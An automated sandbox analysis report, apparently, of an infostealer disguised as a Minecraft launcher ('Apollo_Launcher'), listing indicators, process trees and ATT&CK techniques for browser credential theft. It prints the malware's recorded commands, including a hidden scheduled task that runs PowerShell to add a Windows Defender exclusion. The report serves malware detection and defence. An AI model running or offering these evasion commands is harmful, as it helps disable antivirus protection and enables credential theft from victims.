gurcu | hxxp://workupload[.]com/file/Yj7tM2AfdF7

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	Minecraft_Client_1.21.1.exe

Executes dropped EXE 2 IoCs

pid	Process
2152	Minecraft_Client_1.21.1.exe
3780	Minecraft_Client_1.21.1.exe

Loads dropped DLL 2 IoCs

pid	Process
2152	Minecraft_Client_1.21.1.exe
3780	Minecraft_Client_1.21.1.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs

Web Service

T1102

flow	ioc
72	pastebin.com
73	pastebin.com
74	raw.githubusercontent.com
75	raw.githubusercontent.com
78	raw.githubusercontent.com
89	pastebin.com
90	raw.githubusercontent.com
91	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
81	ip-api.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	Minecraft_Client_1.21.1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Minecraft_Client_1.21.1.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
2624	timeout.exe
2120	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133779249085028066"	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4540	schtasks.exe
2300	schtasks.exe

Suspicious behavior: EnumeratesProcesses 55 IoCs

pid	Process
2544	chrome.exe
2544	chrome.exe
3404	powershell.exe
3404	powershell.exe
2152	Minecraft_Client_1.21.1.exe
2152	Minecraft_Client_1.21.1.exe
2152	Minecraft_Client_1.21.1.exe
2152	Minecraft_Client_1.21.1.exe
2152	Minecraft_Client_1.21.1.exe
2152	Minecraft_Client_1.21.1.exe
2152	Minecraft_Client_1.21.1.exe
2152	Minecraft_Client_1.21.1.exe
2152	Minecraft_Client_1.21.1.exe
2152	Minecraft_Client_1.21.1.exe
2152	Minecraft_Client_1.21.1.exe
2152	Minecraft_Client_1.21.1.exe
2152	Minecraft_Client_1.21.1.exe
2152	Minecraft_Client_1.21.1.exe
2152	Minecraft_Client_1.21.1.exe
2152	Minecraft_Client_1.21.1.exe
2152	Minecraft_Client_1.21.1.exe
2152	Minecraft_Client_1.21.1.exe
2152	Minecraft_Client_1.21.1.exe
2152	Minecraft_Client_1.21.1.exe
2152	Minecraft_Client_1.21.1.exe
2152	Minecraft_Client_1.21.1.exe
2152	Minecraft_Client_1.21.1.exe
2152	Minecraft_Client_1.21.1.exe
2152	Minecraft_Client_1.21.1.exe
2152	Minecraft_Client_1.21.1.exe
2152	Minecraft_Client_1.21.1.exe
4136	powershell.exe
4136	powershell.exe
4136	powershell.exe
3780	Minecraft_Client_1.21.1.exe
3780	Minecraft_Client_1.21.1.exe
3780	Minecraft_Client_1.21.1.exe
3780	Minecraft_Client_1.21.1.exe
3780	Minecraft_Client_1.21.1.exe
3780	Minecraft_Client_1.21.1.exe
3780	Minecraft_Client_1.21.1.exe
3780	Minecraft_Client_1.21.1.exe
3780	Minecraft_Client_1.21.1.exe
3780	Minecraft_Client_1.21.1.exe
3780	Minecraft_Client_1.21.1.exe
3780	Minecraft_Client_1.21.1.exe
3780	Minecraft_Client_1.21.1.exe
3780	Minecraft_Client_1.21.1.exe
3780	Minecraft_Client_1.21.1.exe
3780	Minecraft_Client_1.21.1.exe
3780	Minecraft_Client_1.21.1.exe
3780	Minecraft_Client_1.21.1.exe
3780	Minecraft_Client_1.21.1.exe
3780	Minecraft_Client_1.21.1.exe
3780	Minecraft_Client_1.21.1.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe

Suspicious use of AdjustPrivilegeToken 34 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2544	chrome.exe
Token: SeCreatePagefilePrivilege	2544	chrome.exe
Token: SeShutdownPrivilege	2544	chrome.exe
Token: SeCreatePagefilePrivilege	2544	chrome.exe
Token: SeShutdownPrivilege	2544	chrome.exe
Token: SeCreatePagefilePrivilege	2544	chrome.exe
Token: SeShutdownPrivilege	2544	chrome.exe
Token: SeCreatePagefilePrivilege	2544	chrome.exe
Token: SeShutdownPrivilege	2544	chrome.exe
Token: SeCreatePagefilePrivilege	2544	chrome.exe
Token: SeShutdownPrivilege	2544	chrome.exe
Token: SeCreatePagefilePrivilege	2544	chrome.exe
Token: SeShutdownPrivilege	2544	chrome.exe
Token: SeCreatePagefilePrivilege	2544	chrome.exe
Token: SeShutdownPrivilege	2544	chrome.exe
Token: SeCreatePagefilePrivilege	2544	chrome.exe
Token: SeShutdownPrivilege	2544	chrome.exe
Token: SeCreatePagefilePrivilege	2544	chrome.exe
Token: SeShutdownPrivilege	2544	chrome.exe
Token: SeCreatePagefilePrivilege	2544	chrome.exe
Token: SeShutdownPrivilege	2544	chrome.exe
Token: SeCreatePagefilePrivilege	2544	chrome.exe
Token: SeShutdownPrivilege	2544	chrome.exe
Token: SeCreatePagefilePrivilege	2544	chrome.exe
Token: SeShutdownPrivilege	2544	chrome.exe
Token: SeCreatePagefilePrivilege	2544	chrome.exe
Token: SeShutdownPrivilege	2544	chrome.exe
Token: SeCreatePagefilePrivilege	2544	chrome.exe
Token: SeShutdownPrivilege	2544	chrome.exe
Token: SeCreatePagefilePrivilege	2544	chrome.exe
Token: SeDebugPrivilege	3404	powershell.exe
Token: SeDebugPrivilege	2152	Minecraft_Client_1.21.1.exe
Token: SeDebugPrivilege	4136	powershell.exe
Token: SeDebugPrivilege	3780	Minecraft_Client_1.21.1.exe

Suspicious use of FindShellTrayWindow 36 IoCs

pid	Process
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe
2544	chrome.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2872	java.exe
2872	java.exe
904	java.exe
904	java.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2544 wrote to memory of 1432	2544	chrome.exe	83
PID 2544 wrote to memory of 1432	2544	chrome.exe	83
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 3840	2544	chrome.exe	84
PID 2544 wrote to memory of 2576	2544	chrome.exe	85
PID 2544 wrote to memory of 2576	2544	chrome.exe	85
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86
PID 2544 wrote to memory of 3064	2544	chrome.exe	86

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://workupload.com/file/Yj7tM2AfdF7
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2544
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff9f2dccc40,0x7ff9f2dccc4c,0x7ff9f2dccc58
  2⤵
  PID:1432
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2016,i,8302610444921669105,13289885382247762012,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2012 /prefetch:2
  2⤵
  PID:3840
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1824,i,8302610444921669105,13289885382247762012,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2492 /prefetch:3
  2⤵
  PID:2576
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2124,i,8302610444921669105,13289885382247762012,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2596 /prefetch:8
  2⤵
  PID:3064
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3044,i,8302610444921669105,13289885382247762012,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3060 /prefetch:1
  2⤵
  PID:2068
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3048,i,8302610444921669105,13289885382247762012,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3184 /prefetch:1
  2⤵
  PID:1756
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3656,i,8302610444921669105,13289885382247762012,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4468 /prefetch:1
  2⤵
  PID:708
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=3512,i,8302610444921669105,13289885382247762012,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3488 /prefetch:8
  2⤵
  PID:2300
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=3436,i,8302610444921669105,13289885382247762012,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4984 /prefetch:8
  2⤵
  PID:2992

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:3184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5044

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3272

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Apollo_Launcher\Apollo_Launcher\start.bat" "
1⤵
PID:3956
- C:\Windows\system32\net.exe
  net session
  2⤵
  PID:3248
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:1756
- C:\Windows\system32\schtasks.exe
  schtasks /query /tn "HP-Helper"
  2⤵
  PID:2312
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "HP-Helper" /tr "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'" /sc once /st 00:00 /rl highest /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4540
- C:\Windows\system32\schtasks.exe
  schtasks /run /tn "HP-Helper"
  2⤵
  PID:4880
- C:\Windows\system32\timeout.exe
  timeout /t 3 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2624
- C:\Windows\system32\schtasks.exe
  schtasks /delete /tn "HP-Helper" /f
  2⤵
  PID:3396
- C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe
  java -jar Apollo.jar
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2872
- - C:\Users\Admin\AppData\Local\Temp\Minecraft_Client_1.21.1\Minecraft_Client_1.21.1.exe
    C:\Users\Admin\AppData\Local\Temp\Minecraft_Client_1.21.1\Minecraft_Client_1.21.1.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2152
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp3A16.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp3A16.tmp.bat
      4⤵
      PID:3404

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3404

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Apollo_Launcher\Apollo_Launcher\start.bat" "
1⤵
PID:436
- C:\Windows\system32\net.exe
  net session
  2⤵
  PID:3452
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4900
- C:\Windows\system32\schtasks.exe
  schtasks /query /tn "HP-Helper"
  2⤵
  PID:3352
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "HP-Helper" /tr "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'" /sc once /st 00:00 /rl highest /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2300
- C:\Windows\system32\schtasks.exe
  schtasks /run /tn "HP-Helper"
  2⤵
  PID:4464
- C:\Windows\system32\timeout.exe
  timeout /t 3 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2120
- C:\Windows\system32\schtasks.exe
  schtasks /delete /tn "HP-Helper" /f
  2⤵
  PID:3928
- C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe
  java -jar Apollo.jar
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:904
- - C:\Users\Admin\AppData\Local\Temp\Minecraft_Client_1.21.1\Minecraft_Client_1.21.1.exe
    C:\Users\Admin\AppData\Local\Temp\Minecraft_Client_1.21.1\Minecraft_Client_1.21.1.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3780

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4136

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

System Information Discovery